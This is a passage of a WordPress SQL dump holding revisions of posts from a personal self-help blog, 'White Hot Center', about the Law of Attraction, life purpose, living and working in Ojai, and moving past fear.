Attraction. This idea is centered in the notion that our...\n', 'inherit', 'open', 'open', '', '38-autosave', '', '', '2009-07-23 21:04:39', '2009-07-24 04:04:39', '', 38, 'http://www.whitehotcenter.com/38-autosave', 0, 'revision', '', 0),
(58, 1, '2009-04-02 19:20:16', '2009-04-03 02:20:16', 'Recently, many of my friends and acquaintances have been talking about a film called "The Secret"... it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our thoughts are powerful and "pre-pave" our life experience. What ever you are thinking is on its way to becoming your experience.  I believe this is an interesting way of looking at life, because it puts the responsibility for our life experience right where it belongs... with ourselves.\r\n\r\nWhat ever your current circumstances, you have the power to alter your life experience simply by the power of your thoughts. You make your life happen in each little now moment...so it is very important to think good thoughts.  How do you know you are thinking the right (desired) thoughts? Your emotions are your guide...if you are scared and have doubts, those emotions are clues to tell you  the more you think about being scared and doubtful, the more power you give to your thoughts of fear and doubt...and the more you will experience fear and doubt.\r\n\r\nFor me, that is an empowering idea!\r\n\r\nIf I pay attention to how I am feeling in any moment, I have the power to shift my thoughts to a thing  that creates a more desired emotion and ultimately a desired life experience. I think thoughts that serve my desires, that elevate and expand me... so I can "pre-pave" the experiences I want. Knowing it is on its way to becoming my reality.', 'Think good thoughts', 0, 'Recently, many of my friends and aquaintances have been talking about a film called "The Secret"... it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our...\r\n', 'inherit', 'open', 'open', '', '38-revision-2', '', '', '2009-04-02 19:20:16', '2009-04-03 02:20:16', '', 38, 'http://www.whitehotcenter.com/38-revision-2', 0, 'revision', '', 0),
(59, 1, '2009-04-03 14:40:43', '2009-04-03 21:40:43', 'Recently, many of my friends and acquaintances have been talking about a film called "The Secret"… it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our thoughts are powerful and "pre-pave" our life experience. What ever you are thinking is on its way to becoming your experience.  I believe this is an interesting way of looking at life, because it puts the responsibility for our life experience right where it belongs... with ourselves.\r\n\r\nWhat ever your current circumstances, you have the power to alter your life experience simply by the power of your thoughts. You make your life happen in each little now moment...so it is very important to think good thoughts.  How do you know you are thinking the right (desired) thoughts? Your emotions are your guide... if you are scared and have doubts, those emotions are clues to tell you  the more you think about being scared and doubtful, the more power you give to your thoughts of fear and doubt... and the more you will experience fear and doubt.\r\n\r\nFor me, that is an empowering idea!\r\n\r\nIf I pay attention to how I am feeling in any moment, I have the power to shift my thoughts to a thing  that creates a more desired emotion and ultimately a desired life experience. I think thoughts that serve my desires, that elevate and expand me... so I can "pre-pave" the experiences I want. Knowing it is on its way to becoming my reality.', 'Think good thoughts', 0, 'Recently, many of my friends and aquaintances have been talking about a film called "The Secret"... it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our...\r\n', 'inherit', 'open', 'open', '', '38-revision-3', '', '', '2009-04-03 14:40:43', '2009-04-03 21:40:43', '', 38, 'http://www.whitehotcenter.com/38-revision-3', 0, 'revision', '', 0),
(60, 1, '2009-04-03 14:44:04', '2009-04-03 21:44:04', 'I have been spending a good deal of time thinking about "what''s next" for me. Seemingly, I have an awareness that the fire inside me no longer has a white hot center... if it burns at all. Don''t get me wrong, this post is not intended to be dribble from someone feeling sorry for themselves. On the contrary, I am aware now that I took my belief and passion for what I wanted to accomplish for granted. I assumed it would always be there. Of course, anything you take for granted, you will lose because it was not intentionally valued. And in my apparent loss of belief and passion for what I want to do / be / have in my life, I am more aware of a wonderous opportunity for me to "remember"  my core purpose... my reason for being.\n\nTo quote Austin Powers, "I''ve lost my mojo, baby".\n\nIt seems to me now,  I will not be able to engage myself in any activity with any degree of integrity or authenticity, unless I have the fire of belief and passion raging within me. That''s how important it is to me. As a result, I am now faced with an opportunity for growth and expansion! Growth and Expansion is something I can get behind... I want my financial life to grow, I want my intellect to expand, I want to increase the quantity and quality of my relationships. I want my body to grow in health, and I want to expand my connection to the "source"... I want to play big! These are intentions that help me stoke the fire of my own life experience. But I want to "do it" on Purpose.\n\nBelief and Passion can only fuel an authentic Purpose...it can not be faked. I can''t create a better "attitude"  or "think positive" if my intention (what I want) is not in 100% alignment with my Purpose (reason for being). It is my conviction, once I state an intention of what I want in life, it must be connected to my Purpose. Only then will I be able to "laser" my attention (l focus) towards creating the experience. Only then, will belief and passion burn within me as a white hot center... lighting my way.\n', 'The fire inside.', 0, 'I have been spending a good deal of time thinking about "what''s next" for me. Seemingly, I have an awareness that the fire inside me no longer has a white hot center... if it burns at all. Don''t get me...\n', 'inherit', 'open', 'open', '', '37-autosave', '', '', '2009-04-03 14:44:04', '2009-04-03 21:44:04', '', 37, 'http://www.whitehotcenter.com/37-autosave', 0, 'revision', '', 0),
(61, 1, '2007-02-08 09:41:12', '2007-02-08 16:41:12', '<p>I have been spending a good deal of time thinking about "what''s next" for me. Seemingly, I have an awareness that the fire inside me no longer has a white hot center... if it burns at all. Don''t get me wrong, this post is not intended to be dribble from someone feeling sorry for themselves. On the contrary, I am aware now that I took my belief and passion for what I wanted to accomplish for granted. I assumed it would always be there. Of course, anything you take for granted, you will lose because it was not intentionally valued. And in my apparent loss of belief and passion for what I want to do / be / have in my life, I am more aware of a wonderous opportunity for me to "remember"  my core purpose...my reason for being.</p>\n\n<p>To quote Austin Powers, "I''ve lost my mojo, baby".</p>\n\n<p>It seems to me now,  I will not be able to engage myself in any activity with any degree of integrity or authenticity, unless I have the fire of belief and passion raging within me. That''s how important it is to me. As a result, I am now faced with an opportunity for growth and expansion! Growth and Expansion is something I can get behind... I want my financial life to grow, I want my intellect to expand, I want to increase the quantity and quality of my relationships. I want my body to grow in health, and I want to expand my connection to the "source"... I want to play big! These are intentions that help me stoke the fire of my own life experience. But I want to "do it" on Purpose.</p>\n\n<p>Belief and Passion can only fuel an authentic Purpose...it can not be faked. I can''t create a better "attitude"  or "think positive" if my intention (what I want) is not in 100% alignment with my Purpose (reason for being). It is my conviction, once I state an intention of what I want in life, it must be connected to my Purpose. Only then will I be able to "laser" my attention (lfocus) towards creating the experience. Only then, will belief and passion burn within me as a white hot center... lighting my way.</p>\n', 'The fire inside.', 0, 'I have been spending a good deal of time thinking about "what''s next" for me. Seemingly, I have an awareness that the fire inside me no longer has a white hot center... if it burns at all. Don''t get me...\n', 'inherit', 'open', 'open', '', '37-revision', '', '', '2007-02-08 09:41:12', '2007-02-08 16:41:12', '', 37, 'http://www.whitehotcenter.com/37-revision', 0, 'revision', '', 0),
(62, 1, '2009-04-03 14:44:22', '2009-04-03 21:44:22', 'I have been spending a good deal of time thinking about "what''s next" for me. Seemingly, I have an awareness that the fire inside me no longer has a white hot center... if it burns at all. Don''t get me wrong, this post is not intended to be dribble from someone feeling sorry for themselves. On the contrary, I am aware now that I took my belief and passion for what I wanted to accomplish for granted. I assumed it would always be there. Of course, anything you take for granted, you will lose because it was not intentionally valued. And in my apparent loss of belief and passion for what I want to do / be / have in my life, I am more aware of a wonderous opportunity for me to "remember"  my core purpose... my reason for being.\r\n\r\nTo quote Austin Powers, "I''ve lost my mojo, baby".\r\n\r\nIt seems to me now,  I will not be able to engage myself in any activity with any degree of integrity or authenticity, unless I have the fire of belief and passion raging within me. That''s how important it is to me. As a result, I am now faced with an opportunity for growth and expansion! Growth and Expansion is something I can get behind... I want my financial life to grow, I want my intellect to expand, I want to increase the quantity and quality of my relationships. I want my body to grow in health, and I want to expand my connection to the "source"... I want to play big! These are intentions that help me stoke the fire of my own life experience. But I want to "do it" on Purpose.\r\n\r\nBelief and Passion can only fuel an authentic Purpose...it can not be faked. I can''t create a better "attitude"  or "think positive" if my intention (what I want) is not in 100% alignment with my Purpose (reason for being). It is my conviction, once I state an intention of what I want in life, it must be connected to my Purpose. Only then will I be able to "laser" my attention (l focus) towards creating the experience. Only then, will belief and passion burn within me as a white hot center... lighting my way.\r\n', 'The fire inside.', 0, 'I have been spending a good deal of time thinking about "what''s next" for me. Seemingly, I have an awareness that the fire inside me no longer has a white hot center... if it burns at all. Don''t get me...\r\n', 'inherit', 'open', 'open', '', '37-revision-2', '', '', '2009-04-03 14:44:22', '2009-04-03 21:44:22', '', 37, 'http://www.whitehotcenter.com/37-revision-2', 0, 'revision', '', 0),
(63, 1, '2009-04-03 14:50:08', '2009-04-03 21:50:08', 'I am finally getting around to making this space more in line with my vision. And today I launch the <strong>WHITE HOT CENTER</strong> as my official blog. The WHC is my place to write, ponder and share ideas about living life on purpose, connecting with the passion of a burning vision for life, and other ideas about success in every area of life. This is an a labor of love for sure, but it is my intention to  add value to those who are like-minded about their own approach to life.\n\nI am completely fascinated by the idea that when one connects on a deep level with Purpose... the very reason we are here, life begins to get exciting!  Purpose drives your vision and vision directs your goals. Or stated another way, Purpose is the "why one is here". Vision is the "doing" in alignment with Purpose. Goals are the "bites" we take out of our vision. So here is where I will share information that inspires people to connect with Purpose, create a vision, and set goals toward creating the experience what we desire. As I learn more for my own life, I want to share with others. I like the idea of adding value to people. It is a great place to start.\n', 'The White Hot Center', 0, 'I am finally getting around to making this space more in line with my vision. And today I launch the WHITE HOT CENTER as my official blog. The WHC is my place to write, ponder and share ideas about living...\n', 'inherit', 'open', 'open', '', '36-autosave', '', '', '2009-04-03 14:50:08', '2009-04-03 21:50:08', '', 36, 'http://www.whitehotcenter.com/36-autosave', 0, 'revision', '', 0),
(64, 1, '2007-05-03 10:31:24', '2007-05-03 17:31:24', '<p>I am finally getting around to making this space more in line with my vision. And today I launch the WHITE HOT CENTER as my official blog. The WHC is my place to write, ponder and share ideas about living life on purpose, connecting with the passion of a burning vision for life, and other ideas about success in every area of life. This is an a labor of love for sure, but it is my intention to  add value to those who are like-minded about their own approach to life.</p>\n\n<p>I am completely fascinated by the idea that when one connects on a deep level with Purpose... the very reason we are here, life begins to get exciting!  Purpose drives your vision and vison directs your goals. Or stated another way, Purpose is the "why one is here". Vision is the "doing" in alignment with Purpose. Goals are the "bites" we take out of our vision. So here is where I will share information that inspires people to connect with Purpose, create a vision, and set goals toward creating the experience what we desire. As I learn more for my own life, I want to share with others. I like the idea of adding value to people. It is a great place to start.</p>\n', 'The White Hot Center', 0, 'I am finally getting around to making this space more in line with my vision. And today I launch the WHITE HOT CENTER as my official blog. The WHC is my place to write, ponder and share ideas about living...\n', 'inherit', 'open', 'open', '', '36-revision', '', '', '2007-05-03 10:31:24', '2007-05-03 17:31:24', '', 36, 'http://www.whitehotcenter.com/36-revision', 0, 'revision', '', 0);
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(65, 1, '2009-04-03 14:56:08', '2009-04-03 21:56:08', 'We are more than we think we are. Whether you believe it or not, we are Spiritual Beings having a physical experience. We call this experience life. I have “re-membered” that I come from all there is and ever will be. I am, like you, an infinite being with the power to create whatever I desire. And that it is possible for me to make quantum leaps towards living the life I was meant to live... in all areas of my life. This power is available always and works for everyone, every time, with no exception. It is Law. I have learned that when we have a clear intention, and it is larger than our fear and doubt, we can create dramatic results in the direction of the good we desire. I also discovered another important key–that I could create my heart’s desire in a totally easy and relaxed manner. Life does not have to be a struggle. I could chill. What a relief!\n\nIt is our Higher Nature or Spirit that “responds” exactly to the perfect life experience the Soul seeks to create. This process of discovery and understanding of the real power within us is the first critical step in creating the good we desire. It is always available. We don’t earn it, and we never lose it. The only power that can get in the way of our creating the results we desire, are the thoughts originating from our undisciplined mind. Whether conscious or not, we are the creator of our life’s circumstances. If I wanted to tap into the infinite power available to create massive success in my life, I had to first change my thinking about who and what I really am.\n\nIn the days ahead , I''ll be sharing more of the "ah-ha" moments that have given me a new perspective and approach to creating the life of my dreams. Hopefully it will add inspiration to you as well.', 'There is Infinite Power Within Us', 0, 'We are more than we think we are. Whether you believe it or not, we are Spiritual Beings having a physical experience. We call this experience life. I have “re-membered” that I come from all there is and ever will...\n', 'inherit', 'open', 'open', '', '35-autosave', '', '', '2009-04-03 14:56:08', '2009-04-03 21:56:08', '', 35, 'http://www.whitehotcenter.com/35-autosave', 0, 'revision', '', 0),
(66, 1, '2007-05-03 16:43:07', '2007-05-03 23:43:07', '<p>We are more than we think we are. Whether you believe it or not, we are Spiritual Beings having a physical experience. We call this experience life. I have “re-membered” that I come from all there is and ever will be. I am, like you, an infinite being with the power to create whatever I desire. And that it is possible for me to make quantum leaps towards living the life I was meant to live...in all areas of my life. This power is available always and works for everyone, every time, with no exception. It is Law. I have learned that when we have a clear intention, and it is larger than our fear and doubt, we can create dramatic results in the direction of the good we desire. I also discovered another important key–that I could create my heart’s desire in a totally easy and relaxed manner. Life does not have to be a struggle. I could chill. What a relief!</p>\n\n<p>It is our Higher Nature or Spirit that “responds” exactly to the perfect life experience the Soul seeks to create. This process of discovery and understanding of the real power within us is the first critical step in creating the good we desire. It is always available. We don’t earn it, and we never lose it. The only power that can get in the way of our creating the results we desire, are the thoughts originating from our undisciplined mind. Whether conscious or not, we are the creator of our life’s circumstances. If I wanted to tap into the infinite power available to create massive success in my life, I had to first change my thinking about who and what I really am. </p>\n\n<p>In the days ahead , I''ll be sharing more of the "ah-ha" moments that have given me a new perspective and approach to creating the life of my dreams. Hopefully it will add inspiration to you as well.</p>\n', 'There is Infinite Power Within Us', 0, 'We are more than we think we are. Whether you believe it or not, we are Spiritual Beings having a physical experience. We call this experience life. I have “re-membered” that I come from all there is and ever will...\n', 'inherit', 'open', 'open', '', '35-revision', '', '', '2007-05-03 16:43:07', '2007-05-03 23:43:07', '', 35, 'http://www.whitehotcenter.com/35-revision', 0, 'revision', '', 0),
(67, 1, '2009-04-03 15:00:59', '2009-04-03 22:00:59', '<a href="http://whc.fbdev.org/wp-content/uploads/2007/05/keva507.jpg"><img class="alignright size-full wp-image-68" title="keva507" src="http://whc.fbdev.org/wp-content/uploads/2007/05/keva507.jpg" alt="keva507" width="253" height="339" /></a>Lately I have been musing over the fact that I live and work in paradise. An orange grove–smack dab in the middle of paradise... Ojai, California.\n\nOjai is one of the very last "old California" villages in Southern California. Neatly tucked away in a valley surrounded by mountians. Far enough away from the big city sprawl of LA and convenient to Santa Barbara and the Central Coast area. Click on the picture album to the left of this column and see for yourself. I am blessed, happy and grateful for the Ojai House. Indeed it has its price... like all things worthwhile.\n\nMy office is spacious enough for me and two assistants and the recording studio is right next door. My clients really enjoy coming here to work and plan creative projects as well... much more laid back than a corporate conferene room. And the grounds offer several different areas for working and relaxing all at the same time. One of my affirmations ends with "in an easy and relaxed manner".... whatever I am doing I am doing it in an easy and relaxed manner. This environnment supports me in that way.\n\nTo stress on anything is absurd!  Right now is a magical time of life for me. I dont know if all people in my mid boomer generation share this notion. I have been around many who are angry,bitter, tired, scared, lost... Careers, raising kids, divorces, dreams... all get sort of buddled together in mid-life. It gets harder to push the ball uphill every month. Many have stopped believing in their dreams.  It has been an equally challenging time for me. But it is also a wonderful time of re-discovery, re-alignment, re-thinking the validity of old beliefs... leveraging the asset of wisdom and experience to grow and expand.  And a body in motion tends to stay in motion. There are always greater possibilities...\n\nMy work life has always been important to me. I don''t think of it as a job. For whatever reason, my work is who I am. I am what I do. I want to add value to people through creative expression of ideas. That is my life''s work. It is also the experience my Soul seeks to have in life. The ego does not drive the bus any longer... Spirit has taken the wheel. My live/ work environment is a physical manifestation of this principal in action. I was drawn to this place because I am meant to be here... it serves me, as I serve others.\n\nThe challenge to create what we desire is the greatest gift a boomer can have. It will keep us in the game, only more on our terms... Our culture is still very much a youth culture.  And nobody understands youth culture better than boomers... we invented Woodstock and a few years later Disco... we are a creative group of people... As a generation(our Fathers fought WWII), we boomers come from a conservative value system that is no longer alive in our culture... We boomers are lighting the way for the ones behind us. I am just getting started...', 'LIVE&WORK', 0, 'Lately I have been musing over the fact that I live and work in paradise. An orange grove–smack dab in the middle of paradise...Ojai, California. Ojai is one of the very last "old California" villages in Southern California. Neatly tucked...\n', 'inherit', 'open', 'open', '', '34-autosave', '', '', '2009-04-03 15:00:59', '2009-04-03 22:00:59', '', 34, 'http://www.whitehotcenter.com/34-autosave', 0, 'revision', '', 0),
(68, 1, '2009-04-03 15:00:06', '2009-04-03 22:00:06', '', 'keva507', 0, '', 'inherit', 'open', 'open', '', 'keva507', '', '', '2009-04-03 15:00:06', '2009-04-03 22:00:06', '', 34, 'http://www.whitehotcenter.com/wp-content/uploads/2007/05/keva507.jpg', 0, 'attachment', 'image/jpeg', 0),
(69, 1, '2007-05-08 21:48:01', '2007-05-09 04:48:01', '<p><a href="http://soundminds.typepad.com/.shared/image.html?/photos/uncategorized/2007/05/10/keva300507.jpg" onclick="window.open(this.href, ''_blank'', ''width=300,height=404,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0''); return false"><img alt="Keva300507" title="Keva300507" src="http://soundminds.typepad.com/whitehotcenter2/images/2007/05/10/keva300507.jpg" width="250" height="336" border="0" style="float: left; margin: 0px 5px 5px 0px;" /></a><br />\n</p>\n\n<!--more-->\n<p>Lately I have been musing over the fact that I live and work in paradise. An orange grove–smack dab in the middle of paradise...Ojai, California.</p>\n\n<p>Ojai is one of the very last "old California" villages in Southern California. Neatly tucked away in a valley surrounded by mountians. Far enough away from the big city sprawl of LA and convenient to Santa Barbara and the Central Coast area. Click on the picture album to the left of this column and see for yourself. I am blessed, happy and grateful for the Ojai House. Indeed it has its price... like all things worthwhile. </p>\n\n<p>My office is spacious enough for me and two assistants and the recording studio is right next door. My clients really enjoy coming here to work and plan creative projects as well... much more laid back than a corporate conferene room. And the grounds offer several different areas for working and relaxing all at the same time. One of my affirmations ends with "in an easy and relaxed manner".... whatever I am doing I am doing it in an easy and relaxed manner. This environnment supports me in that way. </p>\n\n<p>To stress on anything is absurd!  Right now is a magical time of life for me. I dont know if all people in my mid boomer generation share this notion. I have been around many who are angry,bitter, tired, scared, lost... Careers, raising kids, divorces, dreams... all get sort of buddled together in mid-life. It gets harder to push the ball uphill every month. Many have stopped believing in their dreams.  It has been an equally challenging time for me. But it is also a wonderful time of re-discovery, re-alignment, re-thinking the validity of old beliefs... leveraging the asset of wisdom and experience to grow and expand.  And a body in motion tends to stay in motion. There are always greater possibilities...</p>\n\n<p>My work life has always been important to me. I don''t think of it as a job. For whatever reason, my work is who I am. I am what I do. I want to add value to people through creative expression of ideas. That is my life''s work. It is also the experience my Soul seeks to have in life. The ego does not drive the bus any longer... Spirit has taken the wheel. My live/ work environment is a physical manifestation of this principal in action. I was drawn to this place because I am meant to be here... it serves me, as I serve others.</p>\n\n<p>The challenge to create what we desire is the greatest gift a boomer can have. It will keep us in the game, only more on our terms... Our culture is still very much a youth culture.  And nobody understands youth culture better than boomers... we invented Woodstock and a few years later Disco... we are a creative group of people... As a generation(our Fathers fought WWII), we boomers come from a conservative value system that is no longer alive in our culture... We boomers are lighting the way for the ones behind us. I am just getting started...  </p>\n', 'LIVE&WORK', 0, 'Lately I have been musing over the fact that I live and work in paradise. An orange grove–smack dab in the middle of paradise...Ojai, California. Ojai is one of the very last "old California" villages in Southern California. Neatly tucked...\n', 'inherit', 'open', 'open', '', '34-revision', '', '', '2007-05-08 21:48:01', '2007-05-09 04:48:01', '', 34, 'http://www.whitehotcenter.com/34-revision', 0, 'revision', '', 0),
(71, 1, '2009-04-03 15:05:17', '2009-04-03 22:05:17', '', 'orangepic', 0, '', 'inherit', 'open', 'open', '', 'orangepic', '', '', '2009-04-03 15:05:17', '2009-04-03 22:05:17', '', 33, 'http://www.whitehotcenter.com/wp-content/uploads/2007/05/orangepic.jpg', 0, 'attachment', 'image/jpeg', 0),
(72, 1, '2007-05-10 15:24:44', '2007-05-10 22:24:44', '<p><a href="http://soundminds.typepad.com/photos/uncategorized/2007/05/10/orangepic.jpg"><img alt="Orangepic" title="Orangepic" src="http://soundminds.typepad.com/whitehotcenter2/images/2007/05/10/orangepic.jpg" width="400" height="151" border="0" style="float: left; margin: 0px 5px 5px 0px;" /></a></p>\n\n<!--more-->\n<p>I picked up this interesting tid-bit about an orange...it was passed on to me by my good friend Jodi... she knows of my passion for an orange grove. This is from MIchael Bungay Stanier, a writer and life coach from Toronto Canada. Check his very entertainng and useful information site at:</p>\n\n<p><a href="http://www.boxofcrayons.biz">www.boxofcrayons.biz</a></p>\n\n<p>Here is what he says about an orange...</p>\n\n<p>Why Oranges are Good for You</p>\n\n<p>Last week I was in San Francisco, spending some time at a conference and the rest hanging out and having fun in this funky city.</p>\n\n<p>My wife and I got to explore Big Sur, a glorious stretch of countryside squeezed between wild Pacific ocean and mountains. One place we stopped was The Henry Miller Library, and I came across Miller''s book Big Sur and the Oranges of Hieronymus Bosch.</p>\n\n<p>Yep - I didn''t understand the oranges thing either.</p>\n\n<p>But Hieronymus Bosch is one of my favourite painters, and on some investigation I found that in his strange and glorious paintings, oranges symbolized paradise.</p>\n\n<p>And that association did not only occur in 15th C Netherlands. It wasn''t so long ago that oranges weren''t a ubiquitous fruit, but something rare and special - my Dad told me about getting an orange in his Christmas stocking in post-war Britain.</p>\n\n<p>So as research for this article - and this is the sort of research I enjoy - I sat and ate an orange. REALLY ate an orange. And here''s what occurred to me as I enjoyed a brief moment of paradise...</p>\n\n<p>What''s juicy?</p>\n\n<p>There''s that moment when you first break the peel of an orange and a little explosion of orange oil squirts out and fills the space with that familiar smell. And of course, when you bite into a wonderful orange the flesh is full and juicy.</p>\n\n<p>What''s juicy in your life right now? How can you get some more of that? How can you really enjoy it when you are there?</p>\n\n<p>What can you share?</p>\n\n<p>It''s one of the simple and powerful acts of community. Peel an orange, break it in half and offer the half to someone else.</p>\n\n<p>There is something you have right now that would benefit from being shared. It may be a skill or talent, it might be material goods, it might be your time.</p>\n\n<p>What will you share? Who will you share it with?</p>\n\n<p>I like that little metaphor very much. I will never eat an orange in quite the same way.</p>\n', 'An Orange in Paradise', 0, 'I picked up this interesting tid-bit about an orange...it was passed on to me by my good friend Jodi... she knows of my passion for an orange grove. This is from MIchael Bungay Stanier, a writer and life coach from...\n', 'inherit', 'open', 'open', '', '33-revision', '', '', '2007-05-10 15:24:44', '2007-05-10 22:24:44', '', 33, 'http://www.whitehotcenter.com/33-revision', 0, 'revision', '', 0),
(74, 1, '2009-04-03 15:10:32', '2009-04-03 22:10:32', 'I have been reminded recently by a team of people I am working with not to worry too much about HOW I will acomplish my goal. I am putting the focus of all my attention on WHAT I  desire and it will find a way, in fact it is already on its way to me...remember the old sayig  "where there is a will, there is a way.  I love a good cliche... they work every time!\n\nThere really is a profound sense of freedom and release when one puts all the energy on the desire and not the methods of acheiving it. Methods will present themselves along the way. If you go back a few entries here, you can read my Vision.  I love this Vision and it holds my will to it. But I would like to achieve it in an easy and relaxed manner. That is particularly important and useful to me. In order to experience "easy and relaxed", I must first let go of the desire to control the HOW I will do it.  It''s not important how it comes to being, what is important is the belief and faith that it will, in fact, BE in its own time, in an easy and relaxed manner. I can  live like that!\n\nI want to remain open to receive any clues, circumstances, people, resources that may COME TO ME. That sounds easy and relaxed to me. How about you?', 'Dont worry HOW.', 0, 'I have been reminded recently by a team of people I am working with not to worry too much about HOW I will acomplish my goal. I am putting the focus of all my attention on WHAT I desire and...\n', 'inherit', 'open', 'open', '', '32-autosave', '', '', '2009-04-03 15:10:32', '2009-04-03 22:10:32', '', 32, 'http://www.whitehotcenter.com/32-autosave', 0, 'revision', '', 0),
(75, 1, '2007-05-14 20:54:22', '2007-05-15 03:54:22', '<p>I have been reminded recently by a team of people I am working with not to worry too much about HOW I will acomplish my goal. I am putting the focus of all my attention on WHAT I  desire and it will find a way, in fact it is already on its way to me...remember the old sayig  "where there is a will, there is a way.  I love a good cliche... they work every time!</p>\n\n<p>There really is a profound sense of freedom and release when one puts all the energy on the desire and not the methods of acheiving it. Methods will present themselves along the way. If you go back a few entries here, you can read my Vision.  I love this Vision and it holds my will to it. But I would like to achieve it in an easy and relaxed manner. That is particularly important and useful to me. In order to experience "easy and relaxed", I must first let go of the desire to control the HOW I will do it.  It''s not important how it comes to being, what is important is the belief and faith that it will, in fact, BE in its own time, in an easy and relaxed manner. I can  live like that!</p>\n\n<p>I want to remain open to receive any clues, circumstances, people, resources that may COME TO ME. That sounds easy and relaxed to me. How about you?</p>\n', 'Dont worry HOW.', 0, 'I have been reminded recently by a team of people I am working with not to worry too much about HOW I will acomplish my goal. I am putting the focus of all my attention on WHAT I desire and...\n', 'inherit', 'open', 'open', '', '32-revision', '', '', '2007-05-14 20:54:22', '2007-05-15 03:54:22', '', 32, 'http://www.whitehotcenter.com/32-revision', 0, 'revision', '', 0),
(76, 1, '2009-04-03 15:21:24', '2009-04-03 22:21:24', 'I have been reminded recently by a team of people I am working with not to worry too much about HOW I will accomplish my goal. I am putting the focus of all my attention on WHAT I  desire and it will find a way, in fact it is already on its way to me...remember the old sayig  "where there is a will, there is a way.  I love a good cliche... they work every time!\r\n\r\nThere really is a profound sense of freedom and release when one puts all the energy on the desire and not the methods of achieving it. Methods will present themselves along the way. If you go back a few entries here, you can read my Vision.  I love this Vision and it holds my will to it. But I would like to achieve it in an easy and relaxed manner. That is particularly important and useful to me. In order to experience "easy and relaxed", I must first let go of the desire to control the HOW I will do it.  It''s not important how it comes to being, what is important is the belief and faith that it will, in fact, BE in its own time, in an easy and relaxed manner. I can  live like that!\r\n\r\nI want to remain open to receive any clues, circumstances, people, resources that may COME TO ME. That sounds easy and relaxed to me. How about you?', 'Dont worry HOW.', 0, 'I have been reminded recently by a team of people I am working with not to worry too much about HOW I will acomplish my goal. I am putting the focus of all my attention on WHAT I desire and...\r\n', 'inherit', 'open', 'open', '', '32-revision-2', '', '', '2009-04-03 15:21:24', '2009-04-03 22:21:24', '', 32, 'http://www.whitehotcenter.com/32-revision-2', 0, 'revision', '', 0),
(77, 2, '2010-04-22 20:46:45', '2010-04-23 03:46:45', '<h2>Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you find yourself exclaiming "hey maybe this idea could work, yeah I see it!" Has that ever happened to you?</h2>\r\n<!--more-->\r\n\r\nOf course it has. Probably many times. You, like me,  may have stopped yourself, doubted yourself, or worse, believed you could not accomplish it at all because you don''t know the right people, don''t have enough money, time, whatever.\r\n\r\n<strong>Most people hold themselves back with three counter productive habits:</strong>\r\n\r\n<strong>They distrust their inner wisdom and doubt they posses an inventive inclination. This renders them forever dependent on the thinking and advice of others.</strong>\r\n\r\n<strong>They lack a long-term plan in alignment with a guiding life purpose. This enables them to stubbornly resist accepting  full responsibility for their own future.</strong>\r\n\r\n<strong>They don''t believe in whatever hope or resourcefulness their own mind gives them about their own potential to radically change their life''s circumstances toward the good they desire.</strong>\r\n\r\nAlmost all us, at one time or another, fear our own potential. One person side-steps a business opportunity because it is too risky. Another, allows a destructive relationship to make them miserable because they don''t want to be alone. Still another rejects an important advocation because they don''t see any usefulness to it. Fear''s general message tells us we are not yet ready to begin to do, be and have the life we desire.\r\n\r\nThe way out of this has little to do with acquiring more technical skill, education or knowledge. We must first have a change of mind about ourselves.  We must expand our awareness. We must allow a process of self-discovery. Fear is natural. It will always be around us anytime we seek to leave what is familiar. We all feel fear at the beginning of some bold endeavor.  There''s no frame of reference when we are at the beginning of something.  Only 2 in 10 people will make the decision to go for what they already see so vividly in their mind. To step forward boldly in faith and belief towards the action that will make the big idea come to life in the physical.  At some point, one must begin. Successful people just seem to know this inherently. There is no hand-wringing. They simply move elegantly toward their goal. Even though they too experience resistance and fear. They do it anyway.\r\n<h2>These times are called life''s defining moments. Welcome them.</h2>\r\nIf you are stuck in fear and crippled by confusion and anxiety, try asking yourself "what am I afraid of losing if I go forward with this idea?"  I know it sounds deceivingly simple, but really, deeply ask yourself this question.  Once you realize  you really don''t have anything to lose and everything to gain,  it makes the fear seem somehow trivial in comparison to the potential good you desire. Any idea that advances you in the direction of your goal must be acted upon. Your inner voice always knows where it must go... listen and trust it!\r\n\r\nIs there something you just know you would be so perfect for? An idea, belief or value that is sacred to you?  Are you on the edge of your comfort zone doubting it can be yours because you believe more in the compelling evidence of  your limitations than you do in your own unseen greatest potential? This is a defining moment in life.  This is the time to break free from your perceived limitations and begin! Are you ready to begin. If so,  do it NOW with what you have.  Trust that you will accomplish what you desire with the help of the unseen forces that are gathering and rallying around you. Make a decision, move forward and don''t look back.\r\n\r\nMake a decision to begin NOW! You don''t need to know how it will come to be... just begin in an easy and relaxed manner.\r\n\r\n<strong>Growth and expansion is in harmony with the direction the universe is going. We grow or begin to die slowly. It is always a choice. Whatever it is for you, begin immediately! Don''t leave this life with your song still inside you.</strong>', 'Are you ready to begin?', 0, 'Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you...\r\n', 'inherit', 'open', 'open', '', '31-autosave', '', '', '2010-04-22 20:46:45', '2010-04-23 03:46:45', '', 31, 'http://www.whitehotcenter.com/31-autosave', 0, 'revision', '', 0),
(764, 2, '2010-04-22 20:41:11', '2010-04-23 03:41:11', '<h2>Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you find yourself exclaiming "hey maybe this idea could work, yeah I see it!" Has that ever happened to you?</h2>\r\n<!--more-->\r\n\r\nOf course it has. Probably many times. You, like me,  may have stopped yourself, doubted yourself, or worse, believed you could not accomplish it at all because you don''t know the right people, don''t have enough money, time, whatever.\r\n\r\n<strong>Most people hold themselves back with three counter productive habits:</strong>\r\n\r\n<strong>They distrust their inner wisdom and doubt they posses an inventive inclination. This renders them forever dependent on the thinking and advice of others.</strong>\r\n\r\n<strong>They lack a long-term plan in alignment with a guiding life purpose. This enables them to stubbornly resist accepting  full responsibility for their own future.</strong>\r\n\r\n<strong>They don''t believe in whatever hope or resourcefulness their own mind gives them about their own potential to radically change their life''s circumstances toward the good they desire.</strong>\r\n\r\nAlmost all us, at one time or another, fear our own potential. One person side-steps a business 